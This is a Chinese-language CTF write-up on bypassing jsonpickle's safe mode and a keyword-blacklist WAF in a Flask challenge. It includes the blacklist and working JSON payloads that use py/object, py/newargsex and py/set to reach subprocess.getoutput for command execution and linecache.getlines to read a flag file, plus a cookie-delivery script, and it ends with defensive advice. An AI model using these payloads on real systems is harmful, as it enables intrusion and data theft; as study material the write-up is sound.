强网S8决赛JsonPcikle Safe模式下的RCE与绕过分析研究
字数 1420 2025-08-22 18:37:14
JsonPickle Safe模式下的RCE与绕过分析研究
1. 背景介绍
本文分析的是在强网S8决赛中遇到的JsonPickle反序列化Safe模式下的RCE(远程代码执行)漏洞及其绕过技术。JsonPickle是一个Python库,用于将复杂的Python对象序列化为JSON格式,以及从JSON格式反序列化回Python对象。
2. 漏洞环境分析
2.1 关键代码结构
from flask import Flask, request, render_template, redirect
from dataclasses import dataclass
from time import time
import jsonpickle
import base64
import json
import os
@dataclass
class User:
username: str
password: str
@dataclass
class Token:
username: str
timestamp: int
app = Flask(__name__)
users = [
User('admin', os.urandom(32).hex()),
User('guest', 'guest')
]
BLACKLIST = ['repr', 'state', 'json', 'reduce', 'tuple', 'nt', '\\\\', 'builtins',
'os', 'popen', 'exec', 'eval', 'posix', 'spawn', 'compile', 'code']
def waf(jtoken):
otoken = json.loads(jtoken)
token = json.dumps(otoken, ensure_ascii=False)
for keyword in BLACKLIST:
if keyword in token:
return False
return True
2.2 关键功能点
- 登录功能:用户登录后生成Token并序列化存储到cookie
- Token验证:检查Token的有效性和权限
- 安全限制:
- 使用
jsonpickle.decode(jtoken, safe=True)进行安全反序列化 - 实现了WAF(Web应用防火墙)过滤危险关键词
- 使用
3. JsonPickle反序列化机制
3.1 JsonPickle标签系统
JsonPickle使用特定的标签来标识Python对象的序列化信息:
| 标签 | 描述 |
|---|---|
py/object |
标记字典表示某个Python对象 |
py/reduce |
表示通过__reduce__方法进行序列化 |
py/function |
用于标记函数对象 |
py/tuple |
用于标记元组类型 |
py/set |
用于标记集合类型 |
py/newargsex |
扩展的__new__参数格式 |
3.2 Safe模式限制
当safe=True时,JsonPickle会限制反序列化的对象范围:
- 只允许反序列化为基本数据类型(字典、列表、字符串、整数等)
- 避免执行潜在的危险代码(如自定义对象或可执行代码)
4. 漏洞利用分析
4.1 初始攻击思路
尝试使用__reduce__方法进行RCE:
import jsonpickle
class Exp(object):
def __reduce__(self):
return (__import__('os').system, ('whoami',))
a = Exp()
s = jsonpickle.encode(a)
jsonpickle.decode(s, safe=True)
生成的payload:
{
"py/reduce": [
{"py/function": "nt.system"},
{"py/tuple": ["whoami"]}
]
}
问题:reduce、nt等关键词被WAF过滤。
4.2 绕过WAF的技术
- 使用
py/object代替py/reduce - 使用
py/set代替py/tuple(因为tuple在过滤列表中) - 利用
py/newargsex构造参数
4.3 文件读取Payload
{
"py/object": "__main__.Token",
"username": {
"py/object": "linecache.getlines",
"py/newargsex": [{"py/set": ["./flag"]}, ""]
},
"timestamp": 1733463288.647048
}
4.4 RCE Payload
{
"py/object": "__main__.Token",
"username": {
"py/object": "subprocess.getoutput",
"py/newargsex": [{"py/set": ["whoami"]}, ""]
},
"timestamp": 1733467440.7435746
}
5. 完整利用流程
-
构造恶意Token:
- 使用
subprocess.getoutput或linecache.getlines作为目标函数 - 使用
py/set传递参数 - 设置有效的时间戳
- 使用
-
Base64编码:
import base64 payload = '{"py/object": "__main__.Token", "username": {"py/object":"subprocess.getoutput","py/newargsex":[{"py/set":["whoami"]}, ""]}, "timestamp": 1733467440.7435746}' encoded = base64.b64encode(payload.encode()).decode() -
发送请求:
import requests url = "http://target.com/home" res = requests.get(url, cookies={"token": encoded}) print(res.text)
6. 防御建议
- 避免使用JsonPickle反序列化不可信数据
- 加强WAF过滤规则:
- 增加对
subprocess、linecache等模块的过滤 - 增加对
py/newargsex等标签的检测
- 增加对
- 使用更安全的序列化方案,如仅使用标准JSON序列化简单数据类型
7. 总结
本文详细分析了JsonPickle在Safe模式下的反序列化漏洞,展示了如何绕过WAF限制实现RCE和文件读取。关键点在于:
- 利用
py/object和py/newargsex绕过py/reduce的限制 - 使用
py/set代替被过滤的py/tuple - 通过修改
username字段实现命令执行结果的回显
这种漏洞在Python Web应用中较为隐蔽,开发者需要特别注意反序列化操作的安全性。